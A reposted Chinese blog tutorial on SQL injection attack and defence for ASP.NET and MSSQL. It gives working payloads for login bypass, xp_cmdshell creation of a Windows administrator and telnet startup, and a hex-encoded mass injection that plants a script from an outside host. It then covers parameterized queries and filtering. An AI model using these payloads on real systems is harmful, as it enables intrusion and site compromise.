SQL 注入攻防入门详解

2017-03-05 数据分析与开发

（点击上方公众号，可快速关注）

> 作者：滴答的雨
> www.cnblogs.com/heyuquan/archive/2012/10/31/2748577.html
> 如有好文章投稿，请点击 → 这里了解详情

毕业开始从事winfrm到今年转到 web ，在码农届已经足足混了快接近3年了，但是对安全方面的知识依旧薄弱，事实上是没机会接触相关开发……必须的各种借口。这几天把sql注入的相关知识整理了下，希望大家多多提意见。

（对于sql注入的攻防，我只用过简单拼接字符串的注入及参数化查询，可以说没什么好经验，为避免后知后觉的犯下大错，专门查看大量前辈们的心得，这方面的资料颇多，将其精简出自己觉得重要的，就成了该文）

下面的程序方案是采用 ASP.NET + MSSQL，其他技术在设置上会有少许不同。

什么是SQL注入（SQL Injection）

所谓SQL注入式攻击，就是攻击者把SQL命令插入到Web表单的输入域或页面请求的查询字符串，欺骗服务器执行恶意的SQL命令。在某些表单中，用户输入的内容直接用来构造（或者影响）动态SQL命令，或作为存储

过程的输入参数，这类表单特别容易受到SQL注入式攻击。

尝尝SQL注入

1. 一个简单的登录页面

关键代码：

```
privateboolNoProtectLogin(string userName, string password)
{
int count = (int)SqlHelper.Instance.ExecuteScalar(string.Format
    ("SELECT COUNT(*) FROM Login WHERE UserName='{0}' AND Password='{1}'", userName, password));
return count > 0 ? true : false;
}
```

方法中userName和 password 是没有经过任何处理，直接拿前端传入的数据，这样拼接的SQL会存在注入漏洞。（帐户：admin 123456）

1) 输入正常数据，效果如图：

合并的SQL为：

```
SELECT COUNT(*) FROM Login WHERE UserName=’admin’ AND Password=’123456’
```

2) 输入注入数据：

如图，即用户名为：用户名：admin’ —，密码可随便输入

合并的SQL为：

```
SELECT COUNT(*) FROM Login WHERE UserName=’admin’– Password=’123’
```

因为UserName值中输入了“–”注释符，后面语句被省略而登录成功。（常常的手法：前面加上 ‘; ‘(分号，用于结束前一条语句)，后边加上 ‘– ‘(用于注释后边的语句)）

2. 上面是最简单的一种SQL注入，常见的注入语句还有：

1) 猜测数据库名，备份数据库

a) 猜测数据库名： and db_name() >0 或系统表master.dbo.sysdatabases

b) 备份数据库：;backup database 数据库名 to disk = ‘c:*.db’ ;–

或：declare a sysname;set @a=db_name();backup database a to disk=’你的IP你的共享目录bak.dat’ ,name=’ test’ ;–

2) 猜解字段名称

a) 猜解法：and (select count(字段名) from 表名)>0 若“字段名”存在，则返回正常

b) 读取法：and (select top 1 col_name(object_id(‘表名 ’),1) from sysobjects)>0 把 col_name(object_id(‘表名 ’),1)中的1依次换成2,3,4,5，6…就可得到所有的字段名称。

3) 遍历系统的目录结构，分析结构并发现WEB虚拟目录（服务器上传木马）

先创建一个临时表：;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));–

a) 利用xp_availablemedia来获得当前所有驱动器,并存入temp表中

;insert temp exec master.dbo.xp_availablemedia;–

b) 利用xp_subdirs获得子目录列表,并存入temp表中

;insert into temp(id) exec master.dbo.xp_subdirs ‘c:’ ;–

c) 利用xp_dirtree可以获得“所有”子目录的目录树结构,并存入temp表中

;insert into temp(id,num1) exec master.dbo.xp_dirtree ‘c:’ ;–（实验成功）

d) 利用 bcp 命令将表内容导成文件

即插入木马文本，然后导出存为文件。比如导出为asp文件，然后通过浏览器访问该文件并执行恶意脚本。（使用该命令必须启动’ xp_cmdshell’ ）

> Exec master..xp_cmdshell N’ BCP “select * from SchoolMarket.dbo.GoodsStoreData;” queryout c:/inetpub/wwwroot/runcommand.asp -w -S”localhost” -U”sa” -P”123” ‘

(注意：语句中使用的是双引号，另外表名格式为“数据库名.用户名.表名”）

在sql查询器中通过语句：Exec master..xp_cmdshell N’ BCP’ 即可查看BCP相关参数，如图：

4) 查询当前用户的数据库权限

MSSQL中一共存在8种权限：sysadmin, dbcreator, diskadmin, processadmin, serveradmin, setupadmin, securityadmin, bulkadmin。

可通过1=(select IS_SRVROLEMEMBER(‘sysadmin’))得到当前用户是否具有该权限。

5) 设置新的数据库帐户（得到MSSQL管理员账户）

d) 在数据库内添加一个hax用户，默认密码是空

;exec sp_addlogin’ hax’ ;–

e) 给hax设置密码 (null是旧密码，password是新密码，user是用户名)

;exec master.dbo.sp_password null,password,username;–

f) 将hax添加到sysadmin组

;exec master.dbo.sp_addsrvrolemember ‘hax’ ,’ sysadmin’ ;–

6) xp_cmdshell MSSQL存储过程（得到 WINDOWS管理员账户 ）

通过(5)获取到sysadmin权限的帐户后，使用查询分析器连接到数据库，可通过xp_cmdshell运行系统命令行（必须是sysadmin权限），即使用 cmd.exe 工具，可以做什么自己多了解下。

下面我们使用xp_cmdshell来创建一个 Windows 用户，并开启远程登录服务：

a) 判断xp_cmdshell扩展存储过程是否存在

```
SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = 'X' AND name ='xp_cmdshell'
```

b) 恢复xp_cmdshell扩展存储过程

Exec master.dbo.sp_addextendedproc 'xp_cmdshell',' e:inetputwebxplog70.dll';

开启后使用xp_cmdshell还会报下面错误：

SQL Server 阻止了对组件 'xp_cmdshell' 的过程 'sys.xp_cmdshell' 的访问，因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用sp_configure启用 'xp_cmdshell' 。有关启用 'xp_cmdshell' 的详细信息，请参阅 SQL Server 联机丛书中的 "外围应用配置器 "。

通过执行下面语句进行设置：

```
— 允许配置高级选项
EXEC sp_configure 'show advanced options', 1
GO
— 重新配置
RECONFIGURE
GO
— 启用xp_cmdshell
EXEC sp_configure 'xp_cmdshell', 0
GO
```

```
—重新配置
RECONFIGURE
GO
```

c) 禁用xp_cmdshell扩展存储过程

Exec master.dbo.sp_dropextendedproc ‘xp_cmdshell’；

d) 添加windows用户：

Exec xp_cmdshell ‘net user awen /add’；

e) 设置好密码：

Exec xp_cmdshell ‘net user awen password’；

f) 提升到管理员：

Exec xp_cmdshell ‘net localgroup administrators awen /add’；

g) 开启telnet服务：

Exec xp_cmdshell ‘net start tlntsvr’

7) 没有xp_cmdshell扩展程序，也可创建Windows帐户的办法.

(本人windows7系统，测试下面SQL语句木有效果)

```
declare shell int ;
execsp_OAcreate ‘w script .shell’,shell output ;
execsp_OAmethod shell,’run’,null,’C:WindowsSystem32cmd.exe /c net user awen /add’;
execsp_OAmethod shell,’run’,null,’C:WindowsSystem32cmd.exe /c net user awen 123’;
execsp_OAmethod shell,’run’,null,’C:WindowsSystem32cmd.exe /c net localgroup administrators awen /add’;
```

在使用的时候会报如下错：

SQL Server 阻止了对组件 ‘Ole Automation Procedures’ 的过程 ‘sys.sp_OACreate’ 、 ‘sys.sp_OAMethod’ 的访问，因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用sp_configure启用 ‘Ole Automation Procedures’ 。有关启用 ‘Ole Automation Procedures’ 的详细信息，请参阅 SQL Server 联机丛书中的 “外围应用配置器 “。

解决办法：

```
sp_configure ‘show advanced options’, 1;
GO
RECONFIGURE;
GO
```

```
sp_configure ‘Ole Automation Procedures’, 1;
GO
RECONFIGURE;
GO
```

好了，这样别人可以登录你的服务器了，你怎么看？

8) 客户端脚本攻击

攻击1：（正常输入）攻击者通过正常的输入提交方式将恶意脚本提交到数据库中，当其他用户浏览此内容时就会受到恶意脚本的攻击。

措施：转义提交的内容，.NET 中可通过System.Net.WebUtility.HtmlEncode(string) 方法将字符串转换为HTML编码的字符串。

攻击2：（SQL注入）攻击者通过SQL注入方式将恶意脚本提交到数据库中，直接使用SQL语法UPDATE数据库，为了跳过System.Net.WebUtility.HtmlEncode(string) 转义，攻击者会将注入SQL经过“HEX编码”，然后通过exec可以执行“动态”SQL的特性运行脚本”。

a) 向当前数据库的每个表的每个字段插入一段恶意脚本

```
Declare T Varchar(255),C Varchar(255)
Declare Table_Cursor Cursor For
Select A.Name,B.Name
```

```
From SysobjectsA,Syscolumns B Where A.Id=B.Id And A.Xtype='u' And (B.Xtype=99 Or B.Xtype=35 Or B.Xtype=231 Or B.Xtype=1
67)
Open Table_Cursor
Fetch Next From  Table_Cursor Into @T,@C
While(@@Fetch_Status=0)
Begin
Exec('update ['+@T+'] Set ['+@C+']=Rtrim(Convert(Varchar(8000),
['+@C+']))+'''') Fetch Next From Table_Cursor Into @T,@C End Close Table_Cursor DeallocateTable_Cursor
```

b) 更高级的攻击，将上面的注入SQL进行“HEX编码”，从而避免程序的关键字检查、脚本转义等，通过EXEC执行

```
dEcLaRe s vArChAr(8000) sEt @s=0x4465636c617265204054205661726368617228323535292c4043205661726368617228323535
90d0a4465636c617265205461626c655f437572736f7220437572736f7220466f722053656c65637420412e4e616d652c422e4e616d65
2046726f6d205379736f626a6563747320412c537973636f6c756d6e732042205768657265726520412e49643d422e496420416e6420412e5
8747970653d27752720416e642028422e58747970653d3939204f7220422e58747970653d3335204f7220422e58747970653d3233312
04f7220422e58747970653d31363729204f70656e205461626c655f437572736f7220466574636820346572746f6d2020546162
6c655f437572736f7220496e746f2040542c4043205768696c652840404665746368 5f5374617475733d302920426567696e204578656
328277570461746 5205b272b40542b275d20536574205b272b40432b275d3d527472696d28436f6e766572742856617261726 8617228
38303030292c5b272b40432b275d29292b27273c736372697074207372633d687474703a2f2f386638656c336c2e636e2f302e6a733e3
c2f7363726970743e27272729466574636 8204e6578742046726f6d20205461626c655f437572736f7220496e746f2040542c404320456
e6420436c6f7365205461626c655f437572736f72204465616c6c6f6361746520546 1626c655f437572736f72;
eXeC(@s);--
```

c) 批次删除数据库被注入的脚本

```
declare @delStrnvarchar(500)
set @delStr='' --要被替换掉字
符 setnocount on declare @tableNamenvarchar(100),@columnNamenvarchar(100),@tbIDint,@iRowint,@iResultint declare @sqlnv
archar(500) set @iResult=0 declare cur cursor for selectname,id from sysobjects where xtype='U' open cur fetch next from cur in
to @tableName,@tbID while @@fetch_status=0 begin declare cur1 cursor for --xtype in (231,167,239,175) 为
char,varchar,nchar,nvarchar类
型 select name from syscolumns where xtype in (231,167,239,175) and id=@tbID open cur1 fetch next from cur1 into @columnN
ame while @@fetch_status=0 begin set @sql='update [' + @tableName + '] set ['+ @columnName +']=
replace([' +@columnName+'],'''+@delStr+''','''') where [' +@columnName+'] like
''%'+@delStr+'%''' execsp_executesql sql set @iRow=@@rowcount set @iResult=@iResult+@iRow if @iRow>0 begin print '表：'
+@tableName+',列:'+@columnName+'被更新'+convert(varchar(10),@iRow)+'条记
录;' end fetch next from cur1 into @columnName end close cur1 deallocate cur1 fetch next from cur into @tableName,@tbID en
d print '数据库共有'+convert(varchar(10),@iResult)+'条记录被更新!!!' close cur deallocate cur setnocount off
```

d) 我如何得到“HEX编码”？

开始不知道HEX是什么东西，后面查了是“十六进制”，网上已经给出两种转换方式：（注意转换的时候不要加入十六进制的标示符‘ 0x’ ）

Ø 在线转换（TRANSLATOR, BINARY），进入……

Ø C#版的转换，进入……

9) 对于敏感词过滤不到位的检查，我们可以结合函数构造SQL注入

比如过滤了update，却没有过滤declare、exec等关键词，我们可以使用reverse来将倒序的sql进行注入：

```
declare A varchar(200);set @A=reverse('''58803303431''=emanresu erehw ''9d4d9c1ac9814f08''=drowssaP tes xxx tadpu');
```

防止SQL注入

1. 数据库权限控制，只给访问数据库的web应用功能所需的最低权限帐户。

如MSSQL中一共存在8种权限：sysadmin, dbcreator, diskadmin, processadmin, serveradmin, setupadmin, securityadmin, bulkadmin。

2. 自定义错误信息，首先我们要屏蔽服务器的详细错误信息传到客户端。

在 ASP.NET 中，可通过web.config配置文件的节点设置：

```
<customerrors defaultredirect="url" mode="On|Off|RemoteOnly">
  <error. .=""/>
</customerrors>
```

mode：指定是启用或禁用自定义错误，还是仅向远程客户端显示自定义错误。

On	指定启用自定义错误。如果未指定defaultRedirect，用户将看到一般性错误。
Off	指定禁用自定义错误。这允许显示标准的详细错误。
RemoteOnly	指定仅向远程客户端显示自定义错误并且向本地主机显示 ASP.NET 错误。这是默认值。

看下效果图：

设置为一般性错误：

设置为：

3. 把危险的和不必要的存储过程删除

xp_：扩展存储过程的前缀，SQL注入攻击得手之后，攻击者往往会通过执行xp_cmdshell之类的扩展存储过程，获取系统信息，甚至控制、破坏系统。

xp_cmdshell	能执行dos命令，通过语句sp_dropextendedproc 删除，

	不过依然可以通过sp_addextendedproc来恢复， 因此最好删除或改名xplog70.dll（sql server 2000、windows7） xpsql70.dll(sqlserer 7.0)
xp_fileexist	用来确定一个文件是否存在
xp_getfiledetails	可以获得文件详细资料
xp_dirtree	可以展开你需要了解的目录，获得所有目录深度
Xp_getnetname	可以获得服务器名称
Xp_regaddmultistring	
Xp_regdeletekey Xp_regdeletevalue Xp_regenumvalues Xp_regread Xp_regremovemultistring Xp_regwrite	可以访问注册表的存储过程
Sp_OACreate	如果你不需要请丢弃OLE自动存储过程
Sp_OADestroy Sp_OAGetErrorInfo Sp_OAGetProperty Sp_OAMethod Sp_OASetProperty	

Sp_OAStop

4. 非参数化SQL与参数化SQL

1) 非参数化（动态拼接SQL）

a) 检查客户端脚本：若使用.net，直接用System.Net.WebUtility.HtmlEncode(string)将输入值中包含的HTML特殊转义字符转换掉。

b) 类型检查：对接收数据有明确要求的，在方法内进行类型验证。如数值型用int.TryParse()，日期型用DateTime.TryParse() ，只能用英文或数字等。

c) 长度验证：要进行必要的注入，其语句也是有长度的。所以如果你原本只允许输入10字符，那么严格控制10个字符长度，一些注入语句就没办法进行。

d) 使用枚举：如果只有有限的几个值，就用枚举。

e) 关键字过滤：这个门槛比较高，因为各个数据库存在关键字，内置函数的差异，所以对编写此函数的功底要求较高。如公司或个人有积累一个比较好的通用过滤函数还请留言分享下，学习学习，谢谢！

这边提供一个关键字过滤参考方案(MSSQL)：

```
public static bool ValiParms(string parms)
{
```

```
    if (parms == null)
    {
        return false;
    }
    Regex regex = new Regex("sp_", RegexOptions.IgnoreCase);
    Regex regex2 = new Regex("'", RegexOptions.IgnoreCase);
    Regex regex3 = new Regex("create ", RegexOptions.IgnoreCase);
    Regex regex4 = new Regex("drop ", RegexOptions.IgnoreCase);
    Regex regex5 = new Regex("""", RegexOptions.IgnoreCase);
    Regex regex6 = new Regex("exec ", RegexOptions.IgnoreCase);
    Regex regex7 = new Regex("xp_", RegexOptions.IgnoreCase);
    Regex regex8 = new Regex("insert ", RegexOptions.IgnoreCase);
    Regex regex9 = new Regex("delete ", RegexOptions.IgnoreCase);
    Regex regex10 = new Regex("select ", RegexOptions.IgnoreCase);
    Regex regex11 = new Regex("update ", RegexOptions.IgnoreCase);
    return (regex.IsMatch(parms) || (regex2.IsMatch(parms) || (regex3.IsMatch(parms) || (regex4.IsMatch(parms) || (regex5.IsMatch(parms) || (regex6.IsMatch(parms) || (regex7.IsMatch(parms) || (regex8.IsMatch(parms) || (regex9.IsMatch(parms) || (regex10.IsMatch(parms) || (regex11.IsMatch(parms)))))))))));
}
```

优点：写法相对简单，网络传输量相对参数化拼接SQL小

缺点：

a) 对于关键字过滤，常常“顾此失彼”，如漏掉关键字，系统函数，对于HEX编码的SQL语句没办法识别等等，并且需要针对各个数据库封装函数。

b) 无法满足需求：用户本来就想发表包含这些过滤字符的数据。

c) 执行拼接的SQL浪费大量缓存空间来存储只用一次的查询计划。服务器的物理内存有限，SQLServer的缓存空间也有限。有限的空间应该被充分利用。

2) 参数化查询（Parameterized Query）

a) 检查客户端脚本，类型检查，长度验证，使用枚举，明确的关键字过滤这些操作也是需要的。他们能尽早检查出数据的有效性。

b) 参数化查询原理：在使用参数化查询的情况下，数据库服务器不会将参数的内容视为SQL指令的一部份来处理，而是在数据库完成 SQL 指令的编译后，才套用参数运行，因此就算参数中含有具有损的指令，也不会被数据库所运行。

c) 所以在实际开发中，入口处的安全检查是必要的，参数化查询应作为最后一道安全防线。

优点：

Ø 防止SQL注入(使单引号、分号、注释符、xp_扩展函数、拼接SQL语句、EXEC、SELECT、UPDATE、DELETE等SQL指令无效化)

Ø 参数化查询能强制执行类型和长度检查。

Ø 在MSSQL中生成并重用查询计划，从而提高查询效率（执行一条SQL语句，其生成查询计划将消耗大于50%的时间）

缺点：

Ø 不是所有数据库都支持参数化查询。目前Access、SQL Server、MySQL、SQLite、Oracle等常用数据库支持参数化查询。

疑问：参数化如何“批量更新”数据库。

a) 通过在参数名上增加一个计数来区分开多个参数化语句拼接中的同名参数。

EG：

```
StringBuilder sqlBuilder=new StringBuilder(512);
Int count=0;
For(循环)
{
sqlBuilder.AppendFormat(“UPDATE login SET password=@password{0} WHERE username=@userName{0}”,count.ToString());
SqlParameter para=new SqlParamter(){ParameterName=@password+count.ToString()}
……
Count++;
```

```
}
```

b) 通过MSSQL 2008的新特性：表值参数，将C#中的整个表当参数传递给存储过程，由SQL做逻辑处理。注意C#中参数设置parameter.SqlDbType = System.Data.SqlDbType.Structured; 详细请查看……

疑虑：有部份的开发人员可能会认为使用参数化查询，会让程序更不好维护，或者在实现部份功能上会非常不便，然而，使用参数化查询造成的额外开发成本，通常都远低于因为SQL注入攻击漏洞被发现而遭受攻击，所造成的重大损失。

另外：想验证重用查询计划的同学，可以使用下面两段辅助语法

```
--清空缓存的查询计划
DBCC FREEPROCCACHE
GO
--查询缓存的查询计划
SELECT stats.execution_count AS cnt, p.size_in_bytes AS [size], [sql].[text] AS [plan_text]
FROM sys.dm_exec_cached_plans p
OUTER APPLY sys.dm_exec_sql_text (p.plan_handle) sql
JOIN sys.dm_exec_query_stats stats ON stats.plan_handle = p.plan_handle
GO
```

3) 参数化查询示例

效果如图：

参数化关键代码：

```
Private bool ProtectLogin(string userName, string password)
{
    SqlParameter[] parameters = new SqlParameter[]
    {
        new SqlParameter{ParameterName="@UserName",SqlDbType=SqlDbType.NVarChar,Size=10,Value=userName},
        new SqlParameter{ParameterName="@Password",SqlDbType=SqlDbType.VarChar,Size=20,Value=password}
    };
    int count = (int)SqlHelper.Instance.ExecuteScalar
        ("SELECT COUNT(*) FROM Login WHERE UserName=@UserName AND Password=@password", parameters);
    return count > 0 ? true : false;
}
```

5. 存储过程

存储过程（Stored Procedure）是在大型数据库系统中，一组为了完成特定功能的SQL 语句集，经编译后存储在数据库中，用户通过指定存储过程的名字并给出参数（如果该存储过程带有参数）来执行它。

优点：

a) 安全性高，防止SQL注入并且可设定只有某些用户才能使用指定存储过程。

b) 在创建时进行预编译，后续的调用不需再重新编译。

c) 可以降低网络的通信量。存储过程方案中用传递存储过程名来代替SQL语句。

缺点：

a) 非应用程序内联代码，调式麻烦。

b) 修改麻烦，因为要不断的切换开发工具。（不过也有好的一面，一些易变动的规则做到存储过程中，如变动就不需要重新编译应用程序）

c) 如果在一个程序系统中大量的使用存储过程，到程序交付使用的时候随着用户需求的增加会导致数据结构的变化，接着就是系统的相关问题了，最后如果用户想维护该系统可以说是很难很难（eg：没有VS的查询功能）。

关键代码为：

```
cmd.CommandText = procName; // 传递存储过程名
cmd.CommandType = CommandType.StoredProcedure; // 标识解析为存储过程
```

如果在存储过程中SQL语法很复杂需要根据逻辑进行拼接，这时是否还具有放注入的功能？

答：MSSQL中可以通过 EXEC 和sp_executesql动态执行拼接的sql语句，但sp_executesql支持替换 Transact-SQL 字符串中指定的任何参数值， EXECUTE 语句不支持。所以只有使用sp_executesql方式才能启到参数化防止SQL注入。

关键代码：

a) sp_executesql

```
CREATE PROCEDURE PROC_Login_executesql(
@userNamenvarchar(10),
@password nvarchar(10),
@count int OUTPUT
)
AS
BEGIN
  DECLARE s nvarchar(1000);
set @s=N'SELECT @count=COUNT(*) FROM Login WHERE UserName=@userName AND Password=@password';
  EXEC sp_executesql @s,N'@userName nvarchar(10),@password nvarchar(10),@count int
output',@userName=@userName,@password=@password,@count=@count output
END
```

b) EXECUTE（注意sql中拼接字符，对于字符参数需要额外包一层单引号，需要输入两个单引号来标识sql中的一个单引号）

```
CREATE PROCEDURE PROC_Login_EXEC(
@userNamenvarchar(10),
@password varchar(20)
)
AS
BEGIN
  DECLARE s nvarchar(1000);
set @s='SELECT @count=COUNT(*) FROM Login WHERE UserName='''+CAST(@userName AS NVARCHAR(10))+''' AND
Password='''+CAST(@password AS VARCHAR(20))+'''';
EXEC('DECLARE @count int;' +@s+'select @count');
END
```

注入截图如下：

6. 专业的SQL注入工具及防毒软件

情景1
A：“丫的，又中毒了……”
B：“我看看，你这不是裸机在跑吗？”
电脑上至少也要装一款杀毒软件或木马扫描软件，这样可以避免一些常见的侵入。比如开篇提到的SQL创建windows帐户，就会立马报出警报。

情景2

A：“终于把网站做好了，太完美了，已经检查过没有漏洞了！”

A：“网站怎么被黑了，怎么入侵的？？？”

公司或个人有财力的话还是有必要购买一款专业SQL注入工具来验证下自己的网站，这些工具毕竟是专业的安全人员研发，在安全领域都有自己的独到之处。

7. 额外小知识：LIKE中的通配符

尽管这个不属于SQL注入，但是其被恶意使用的方式是和SQL注入类似的。

%	包含零个或多个字符的任意字符串。
_	任何单个字符。
[]	指定范围（例如 [a-f]）或集合（例如 [abcdef]）内的任何单个字符。
[^]	不在指定范围（例如 [^a – f]）或集合（例如 [^abcdef]）内的任何单个字符。

在模糊查询LIKE中，对于输入数据中的通配符必须转义，否则会造成客户想查询包含这些特殊字符的数据时，这些特殊字符却被解析为通配符。不与 LIKE 一同使用的通配符将解释为常量而非模式。

注意使用通配符的索引性能问题：

a) like的第一个字符是‘%’或‘_’时，为未知字符不会使用索引, sql会遍历全表。

b) 若通配符放在已知字符后面，会使用索引。

网上有这样的说法，不过我在MSSQL中使用 ctrl+L 执行语法查看索引使用情况却都没有使用索引，可能在别的数据库中会使用到索引吧……

截图如下：

有两种将通配符转义为普通字符的方法：

1) 使用ESCAPE关键字定义转义符（通用）

在模式中，当转义符置于通配符之前时，该通配符就解释为普通字符。例如，要搜索在任意位置包含字符串 5% 的字符串，请使用：

WHERE ColumnA LIKE '%5/%%' ESCAPE '/'

2) 在方括号 ([ ]) 中只包含通配符本身，或要搜索破折号(-) 而不是用它指定搜索范围，请将破折号指定为方括号内的第一个字符。EG：

符号	含义
LIKE '5[%]'	5%
LIKE '5%'	5 后跟 0 个或多个字符的字符串
LIKE '[_]n'	_n
LIKE '_n'	an, in, on (and so on)
LIKE '[a-cdf]'	a、b、c、d 或 f
LIKE '[-acdf]'	–、a、c、d 或 f
LIKE '[[ ]'	[
LIKE ']'	] （右括号不需要转义）

所以，进行过输入参数的关键字过滤后，还需要做下面转换确保LIKE的正确执行

阅读原文

阅读原文